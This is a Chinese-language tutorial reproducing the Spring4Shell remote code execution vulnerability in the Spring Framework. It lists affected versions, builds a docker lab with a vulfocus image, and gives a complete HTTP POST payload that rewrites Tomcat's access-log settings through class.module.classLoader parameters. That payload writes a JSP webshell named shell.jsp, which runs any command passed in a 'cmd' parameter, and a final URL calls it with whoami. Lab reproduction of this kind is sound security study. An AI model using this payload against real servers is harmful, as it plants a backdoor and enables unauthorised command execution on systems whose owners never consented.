一 漏洞原理
Java Spring framework今年又爆出两个远程命令执行漏洞,一个影响的是Spring Cloud组件,另一个就是Spring4Shell(因Log4Shell而得名),该漏洞是基于CVE-2010-1622的补丁绕过,通过构造的POST请求,可以上传Webshell,进而命令执行。
二 利用条件以及影响范围
-
JDK 9+
-
Spring Framework 版本(<5.2 | 5.2.0-19 | 5.3.0-17)
-
Apache Tomcat的web应用服务器,部署方式为WAR包
-
依赖Spring Framework的spring-webmvc或spring-webflux组件
- Spring Framework 5.3.X < 5.3.18
- Spring Framework 5.2.X < 5.2.20
三 漏洞复现
1.环境搭建
这里使用docker搭建(也可以使用在线的vulfocus)
以下是使用docker搭建的命令
docker pull vulfocus/spring-core-rce-2022-03-29 //下载漏洞镜像
docker run -d -p 8010:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 //启动并映射端口,映射的端口可以自主调节
搭建好之后,出现以下图片说明搭建成功
2.漏洞利用
使用抓包工具进行抓包,更改为post传输方式,修改数据包,使用payload进行weshell写入
payload(可以自行修改):
第一行:要写入的内容
第二行:文件后缀
第三行:写入路径
第四行:写入文件名称
第五行空值即可
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
使用重发模块进行测试,如下图
在浏览器访问即可(shell.jsp记得替换为自己传入的文件名称哦)
http://xx.xx.xx.xx:端口/shell.jsp?pwd=j&cmd=whoami